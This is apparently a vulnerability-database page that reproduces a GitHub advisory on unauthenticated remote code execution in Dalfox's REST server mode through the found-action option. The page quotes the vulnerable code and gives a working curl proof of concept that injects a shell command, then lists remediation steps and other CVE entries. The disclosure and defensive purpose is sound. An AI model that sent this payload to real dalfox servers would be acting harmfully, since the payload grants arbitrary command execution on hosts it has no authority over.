Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
GHSA: Unauthenticated Remote Code Execution via found-action in Dalfox Server Mode
Summary
When dalfox is started in REST API server mode (dalfox server), the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options - including FoundAction and FoundActionShell - is deserialized directly from attacker-supplied JSON in POST /scan, and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.
Severity
Critical (CVSS 3.1: 10.0)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network - the server binds to
0.0.0.0by default; reachable by any network peer. - Attack Complexity: Low - the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.
- Privileges Required: None - no API key is enforced in the default configuration.
- User Interaction: None.
- Scope: Changed - exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.
- Confidentiality Impact: High - full read access to the host filesystem and secrets in the process environment.
- Integrity Impact: High - arbitrary file writes, code deployment, persistence mechanisms.
- Availability Impact: High - process kill, resource exhaustion, service disruption.
Affected Component
cmd/server.go-init()(line 51):--api-keydefaults to""pkg/server/server.go-setupEchoServer()(line 68): auth middleware only registered whenAPIKey != ""pkg/server/server.go-postScanHandler()(lines 173-191):rq.Optionspassed toScanFromAPIwithout sanitizationlib/func.go-Initialize()(lines 118-119):FoundAction/FoundActionShellexplicitly propagated from caller optionspkg/scanning/foundaction.go-foundAction()(lines 17-18):exec.Command(options.FoundActionShell, "-c", afterCmd)executed unconditionally
CWE
- CWE-306: Missing Authentication for Critical Function
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-15: External Control of System or Configuration Setting
Description
Opt-in Authentication with a Dangerous Default
cmd/server.go registers the --api-key flag with an empty string default:
// cmd/server.go:51
serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...")setupEchoServer only installs the apiKeyAuth middleware when that value is non-empty:
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
e.Use(apiKeyAuth(options.APIKey, options))
}A server started without --api-key accepts every request on every route with no challenge. The apiKeyAuth implementation itself is correct - the flaw is purely in the opt-in condition that makes authentication off by default.
Attacker-Controlled Options Reaches Shell Execution Without Stripping
POST /scan deserializes the full model.Options struct from the JSON body:
// pkg/server/model.go:6-8
type Req struct {
URL string `json:"url"`
Options model.Options `json:"options"`
}
// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)model.Options exposes both execution-control fields as JSON-tagged properties:
// pkg/model/options.go:83-84
FoundAction string `json:"found-action,omitempty"`
FoundActionShell string `json:"found-action-shell,omitempty"`ScanFromAPI builds the scan target directly from rqOptions and passes it to dalfox.Initialize:
// pkg/server/scan.go:22-27
target := dalfox.Target{
URL: url,
Method: rqOptions.Method,
Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)Initialize explicitly copies both fields into newOptions - there is no stripping path:
// lib/func.go:118-119
"FoundAction": {&newOptions.FoundAction, options.FoundAction},
"FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell},Shell Execution on Any Finding
foundAction is called from seven locations across pkg/scanning/scanning.go and pkg/scanning/sendReq.go whenever options.FoundAction != "" and any vulnerability is detected. None of these call sites check options.IsAPI:
// pkg/scanning/foundaction.go:12-18
func foundAction(options model.Options, target, query, ptype string) {
afterCmd := options.FoundAction
afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query)
afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target)
afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype)
cmd := exec.Command(options.FoundActionShell, "-c", afterCmd)
err := cmd.Run()
...
}Because the attacker supplies both the scan target URL and found-action, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.
Proof of Concept
# Step 1 - Start a reflective XSS target (attacker-controlled)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
body = f'<html><body>{q}</body></html>'.encode()
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY
# Step 2 - Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 - POST unauthenticated scan request with found-action payload
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18081/?q=test",
"options": {
"found-action": "echo owned >/tmp/dalfox_rce_marker",
"found-action-shell": "bash",
"use-headless": false,
"worker": 1,
"limit-result": 1
}
}'
# Step 4 - Confirm arbitrary command executed on the dalfox host
cat /tmp/dalfox_rce_marker
# Expected output: ownedNo X-API-KEY header is required. The reflective server ensures dalfox finds a vulnerability, which triggers foundAction.
Impact
- Unauthenticated remote code execution on any host running
dalfox serverin its default configuration. - Full read access to secrets, configuration files, and credentials visible to the dalfox process.
- Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.
- Lateral movement using the dalfox host's network position and credentials.
- The default
0.0.0.0bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.
Recommended Remediation
Option 1: Require API key - make --api-key mandatory (preferred)
Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.
// cmd/server.go - in runServerCmd, before starting the server:
if serverType == "rest" && apiKey == "" {
fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
fmt.Fprintln(os.Stderr, " Generate a key with: openssl rand -hex 32")
os.Exit(1)
}Option 2: Strip FoundAction / FoundActionShell from API-sourced requests
Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.
// pkg/server/server.go - in postScanHandler, before calling ScanFromAPI:
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.
##Credit
Emmanuel David
Github:- https://github.com/drmingler
AnalysisAI
Unauthenticated remote code execution in Dalfox REST API server mode (versions ≤2.12.0) allows network attackers to execute arbitrary OS commands by injecting shell payloads via the found-action parameter in POST /scan requests. The server binds to 0.0.0.0:6664 by default with no API key enforcement unless explicitly configured, and deserializes attacker-controlled JSON directly into execution-control options without sanitization. Attackers trivially guarantee exploitation by hosting a reflective XSS endpoint to trigger the injected command. Fixed in version 2.13.0. CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). EPSS data not available; no CISA KEV listing at time of analysis. Public exploit code exists (detailed proof-of-concept published in GitHub advisory GHSA-v25v-m36w-jp4h).
Technical ContextAI
Dalfox is a Go-based XSS scanning tool that can operate in REST API server mode. The vulnerability chain involves three architectural flaws: (1) CWE-306 missing authentication - the server defaults to no API key, making authentication opt-in rather than mandatory; (2) CWE-15 external control of system settings - the model.Options struct includes FoundAction and FoundActionShell fields that are deserialized directly from untrusted JSON in POST /scan without stripping; (3) CWE-78 OS command injection - the foundAction() function in pkg/scanning/foundaction.go passes attacker-controlled strings directly to exec.Command(options.FoundActionShell, "-c", afterCmd) whenever a vulnerability is detected. The dalfox.Initialize function explicitly propagates these execution-control fields from caller options into the final scan configuration. The attack surface is maximized by the default 0.0.0.0 bind address, which exposes the server to all network interfaces. The CPE identifier pkg:go/github.com_hahwul_dalfox_v2 confirms this affects the Go module ecosystem.
RemediationAI
Immediately upgrade to Dalfox version 2.13.0 or later, available at https://github.com/hahwul/dalfox/releases/tag/v2.13.0. Version 2.13.0 implements dual fixes per PR #923: strips CLI-only execution-control fields (FoundAction, FoundActionShell) at the REST/MCP API boundary, and hardens options deserialization to prevent untrusted callers from setting these fields regardless of authentication state. If immediate upgrade is not feasible, apply these compensating controls with the noted trade-offs: (1) Always run dalfox server with --api-key flag and a cryptographically random key (generate with: openssl rand -hex 32) - this requires all API clients to present X-API-KEY header, which may break existing integrations; (2) Bind only to localhost with --host 127.0.0.1 to eliminate network exposure - this prevents remote API access and is only viable for local-only use cases; (3) Deploy behind authenticated reverse proxy (nginx with HTTP Basic Auth, API gateway with token validation) - adds operational complexity and latency; (4) Firewall port 6664 to trusted source IPs only using iptables/nftables/cloud security groups - requires maintaining allowlists and does not prevent exploitation from compromised allowed hosts. None of these mitigations protect against the underlying command injection flaw if authentication is bypassed via credential theft or SSRF; upgrade remains the only complete fix. After upgrading, audit logs for POST /scan requests containing found-action or found-action-shell keys to identify potential past exploitation attempts.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32615
GHSA-v25v-m36w-jp4h